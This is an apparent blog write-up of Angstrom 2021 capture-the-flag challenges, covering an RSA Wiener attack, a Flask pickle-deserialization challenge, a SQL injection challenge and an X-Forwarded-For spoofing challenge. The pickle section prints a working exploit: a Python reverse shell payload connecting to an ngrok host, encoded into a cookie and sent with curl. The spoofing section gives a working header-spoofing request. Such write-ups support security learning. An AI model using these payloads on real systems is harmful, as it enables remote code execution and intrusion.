Angstrom 2021 Writeups

Hello there,Angstrom 2021 just concluded,with that here are some of writeups that i happened to have a hand in solving and found them interesting.

Sosig

we are given the following numbers to retreive the flag from,having no source file we kick into research on RSA encryption, this challenge has a weird length of the exponent (e),

on researching we found out it might be vulnerable to a Weiner Attack

1n: 14750066592102758338439084633102741562223591219203189630943672052966621000303456154519803347515025343887382895947775102026034724963378796748540962761394976640342952864739817208825060998189863895968377311649727387838842768794907298646858817890355227417112558852941256395099287929105321231423843497683829478037738006465714535962975416749856785131866597896785844920331956408044840947794833607105618537636218805733376160227327430999385381100775206216452873601027657796973537738599486407175485512639216962928342599015083119118427698674651617214613899357676204734972902992520821894997178904380464872430366181367264392613853
2e: 1565336867050084418175648255951787385210447426053509940604773714920538186626599544205650930290507488101084406133534952824870574206657001772499200054242869433576997083771681292767883558741035048709147361410374583497093789053796608379349251534173712598809610768827399960892633213891294284028207199214376738821461246246104062752066758753923394299202917181866781416802075330591787701014530384229203479804290513752235720665571406786263275104965317187989010499908261009845580404540057576978451123220079829779640248363439352875353251089877469182322877181082071530177910308044934497618710160920546552403519187122388217521799
3c: 13067887214770834859882729083096183414253591114054566867778732927981528109240197732278980637604409077279483576044261261729124748363294247239690562657430782584224122004420301931314936928578830644763492538873493641682521021685732927424356100927290745782276353158739656810783035098550906086848009045459212837777421406519491289258493280923664889713969077391608901130021239064013366080972266795084345524051559582852664261180284051680377362774381414766499086654799238570091955607718664190238379695293781279636807925927079984771290764386461437633167913864077783899895902667170959671987557815445816604741675326291681074212227

We first verify that the Wiener attack can be applied:

having confirmed we can use an available Wiener Attack RSA template here

editing the script with our values and running it gives us the flag

Alternatively one could use RSACtfTool

Flag: actf{d0ggy!!!111!1}

Web

jar

 1from flask import Flask, send_file, request, make_response, redirect
 2import random
 3import os
 4
 5app = Flask(__name__)
 6
 7import pickle
 8import base64
 9
10flag = os.environ.get('FLAG', 'actf{FAKE_FLAG}')
11
12@app.route('/pickle.jpg')
13def bg():
14	return send_file('pickle.jpg')
15
16@app.route('/')
17def jar():
18	contents = request.cookies.get('contents')
19	if contents: items = pickle.loads(base64.b64decode(contents))
20	else: items = []
21	return '<form method="post" action="/add" style="text-align: center; width: 100%"><input type="text" name="item" placeholder="Item"><button>Add Item</button><img style="width: 100%; height: 100%" src="/pickle.jpg">' + \
22		''.join(f'<div style="background-color: white; font-size: 3em; position: absolute; top: {random.random()*100}%; left: {random.random()*100}%;">{item}</div>' for item in items)
23
24@app.route('/add', methods=['POST'])
25def add():
26	contents = request.cookies.get('contents')
27	if contents: items = pickle.loads(base64.b64decode(contents))
28	else: items = []
29	items.append(request.form['item'])
30	response = make_response(redirect('/'))
31	response.set_cookie('contents', base64.b64encode(pickle.dumps(items)))
32	return response
33
34app.run(threaded=True, host="0.0.0.0")

Notes :

  • from the description we will be dealing with pickle diserialization, but easier XD

  • from the docker file ENV FLAG="actf{REDACTED}" and the source

1flag = os.environ.get('FLAG', 'actf{FAKE_FLAG}')
  • if successful the flag location will be in /proc/self/environ

Solution

  • with the info gathered i created an exploit that generates a cookie that when insecurely deserialized will help is gain Remote Code Execution (RCE) on the challenge server
 1import pickle
 2import base64
 3import os
 4
 5
 6class RCE:
 7    def __reduce__(self):
 8       return (os.system, ("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"4.tcp.ngrok.io\",10523));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'", ))
 9
10if __name__ == '__main__':
11    pickled = pickle.dumps(RCE())
12    print(base64.urlsafe_b64encode(pickled))
  • we used a python reverse shell since the challenge was running on flask hence python must be installed

  • 4.tcp.ngrok.io was our static,other alternive static ips can apply

  • set up a local listener back on our machine using nc -lvnp port

using the new malicious cookie we can set it as the cookie using curl

1curl -k https://jar.2021.chall.actf.co/ --cookie "contents=gANjcG9zaXgKc3lzdGVtCnEAWOkAAABweXRob24gLWMgJ2ltcG9ydCBzb2NrZXQsc3VicHJvY2VzcyxvcztzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKTtzLmNvbm5lY3QoKCI0LnRjcC5uZ3Jvay5pbyIsMTA1MjMpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9iYXNoIiwiLWkiXSk7J3EBhXECUnEDLg==

after running the command we instantly get a reverse shell connection as nobody

cd / grep -rni actf{.*} 2>/dev/null gave us the flag

Flag: actf{you_got_yourself_out_of_a_pickle}

Sea of Quills

 1require 'sinatra'
 2require 'sqlite3'
 3
 4set :bind, "0.0.0.0"
 5set :port, 4567
 6
 7get '/' do
 8	db = SQLite3::Database.new "quills.db"
 9	@row = db.execute( "select * from quills" )
10	
11
12	erb :index
13end
14
15get '/quills' do
16	erb :quills	
17
18end
19
20
21post '/quills' do
22	db = SQLite3::Database.new "quills.db"
23	cols = params[:cols]
24	lim = params[:limit]
25	off = params[:offset]
26	
27	blacklist = ["-", "/", ";", "'", "\""]
28	
29	blacklist.each { |word|
30		if cols.include? word
31			return "beep boop sqli detected!"
32		end
33	}
34
35	
36	if !/^[0-9]+$/.match?(lim) || !/^[0-9]+$/.match?(off)
37		return "bad, no quills for you!"
38	end
39
40	@row = db.execute("select %s from quills limit %s offset %s" % [cols, lim, off])
41
42	p @row
43
44	erb :specific
45end

i personally didn’t solve this my teammate j0kr did

Solution

initial recon

dumping tables

retrieving the flag

Spoofy

 1from flask import Flask, Response, request
 2import os
 3from typing import List
 4
 5FLAG: str = os.environ.get("FLAG") or "flag{fake_flag}"
 6with open(__file__, "r") as f:
 7    SOURCE: str = f.read()
 8
 9app: Flask = Flask(__name__)
10
11
12def text_response(body: str, status: int = 200, **kwargs) -> Response:
13    return Response(body, mimetype="text/plain", status=status, **kwargs)
14
15
16@app.route("/source")
17def send_source() -> Response:
18    return text_response(SOURCE)
19
20
21@app.route("/")
22def main_page() -> Response:
23    if "X-Forwarded-For" in request.headers:
24        # https://stackoverflow.com/q/18264304/
25        # Some people say first ip in list, some people say last
26        # I don't know who to believe
27        # So just believe both
28        ips: List[str] = request.headers["X-Forwarded-For"].split(", ")
29        if not ips:
30            return text_response("How is it even possible to have 0 IPs???", 400)
31        if ips[0] != ips[-1]:
32            return text_response(
33                "First and last IPs disagree so I'm just going to not serve this request.",
34                400,
35            )
36        ip: str = ips[0]
37        if ip != "1.3.3.7":
38            return text_response("I don't trust you >:(", 401)
39        return text_response("Hello 1337 haxx0r, here's the flag! " + FLAG)
40    else:
41        return text_response("Please run the server through a proxy.", 400)

Notes :

  • this was the important part of the source
 1@app.route("/")
 2def main_page() -> Response:
 3    if "X-Forwarded-For" in request.headers:
 4        # https://stackoverflow.com/q/18264304/
 5        # Some people say first ip in list, some people say last
 6        # I don't know who to believe
 7        # So just believe both
 8        ips: List[str] = request.headers["X-Forwarded-For"].split(", ")
 9        if not ips:
10            return text_response("How is it even possible to have 0 IPs???", 400)
11        if ips[0] != ips[-1]:
12            return text_response(
13                "First and last IPs disagree so I'm just going to not serve this request.",
14                400,
15            )
16        ip: str = ips[0]
17        if ip != "1.3.3.7":
18            return text_response("I don't trust you >:(", 401)
19        return text_response("Hello 1337 haxx0r, here's the flag! " + FLAG)
20    else:
21        return text_response("Please run the server through a proxy.", 400)
  • inorder to get the flag we are to pass through all the requirements

let’s analyse the code to understand it better

1if "X-Forwarded-For" in request.headers:
2        # https://stackoverflow.com/q/18264304/
3        # Some people say first ip in list, some people say last
4        # I don't know who to believe
5        # So just believe both
6        ips: List[str] = request.headers["X-Forwarded-For"].split(", ")
  • from top our server will check for
1
2"X-Forwarded-For" in request.headers

if not we trigger a 401

1return text_response("I don't trust you >:(", 401)
  • once we pass that we are met with another check
1 ips: List[str] = request.headers["X-Forwarded-For"].split(", ")
2        if not ips:
3            return text_response("How is it even possible to have 0 IPs???", 400)

our request header X-Forwarded-For must have ips sent along with it otherwise we trigger a 400 error in the response

  • if succesful we meet another check
1if ips[0] != ips[-1]:
2            return text_response(
3                "First and last IPs disagree so I'm just going to not serve this request.",
4                400,
  • in our list of ips the server will read the first ip and also the last,if the two don’t match we trigger another 400 with error message as First and last IPs disagree so I'm just going to not serve this request.

we will get back to it in a minute

to the last part

1ip: str = ips[0]
2        if ip != "1.3.3.7":
3            return text_response("I don't trust you >:(", 401)
4        return text_response("Hello 1337 haxx0r, here's the flag! " + FLAG)
  • if we pass the previous check,the server will check the first ip if its equal to 1.3.3.7 if not we trigger
1return text_response("I don't trust you >:(", 401)

for a non match ip

else if the ip matches we get our flag

… back to the second last check now , it sounds easy right? well Yes,and No,

refer to this stackoverflow question

....If you try to spoof the IP, your alleged origin is reflected, but - critically - so is your real IP. Obviously, this is all we need, so there's a clear and secure solution for getting the client's IP address on Heroku:

$ curl -H"X-Forwarded-For: 8.8.8.8" http://httpbin.org/ip { "origin": "8.8.8.8, 123.124.125.126" }

so apparently once we try to spoof our ip to 1.3.3.7 to meet the requirement,Heroku will append our original ip address to the request, so we fail the ip match,

after much research we (me and j0kr) came across an article detailing a solution to bypassing the heroku security measure… it involved sending the X-Forwarded-For headers twice, as heroku will only append our original ip to the first header, and the server will append our set ip at the end of our original ip as appended by heroku hence passing all the checks to a succesdful ip spoof,getting us the glag

so sending our request as

1┌─[@parrot]─[~]
2└──╼ $curl -H "X-Forwarded-For: 1.3.3.7" -H "X-Forwarded-For: 2.2.2.2, 1.3.3.7" actf-spoofy.herokuapp.com
3Hello 1337 haxx0r, here's the flag! actf{spoofing_is_quite_spiffy}

gets us the flag

Flag : actf{spoofing_is_quite_spiffy}

PS: More Reading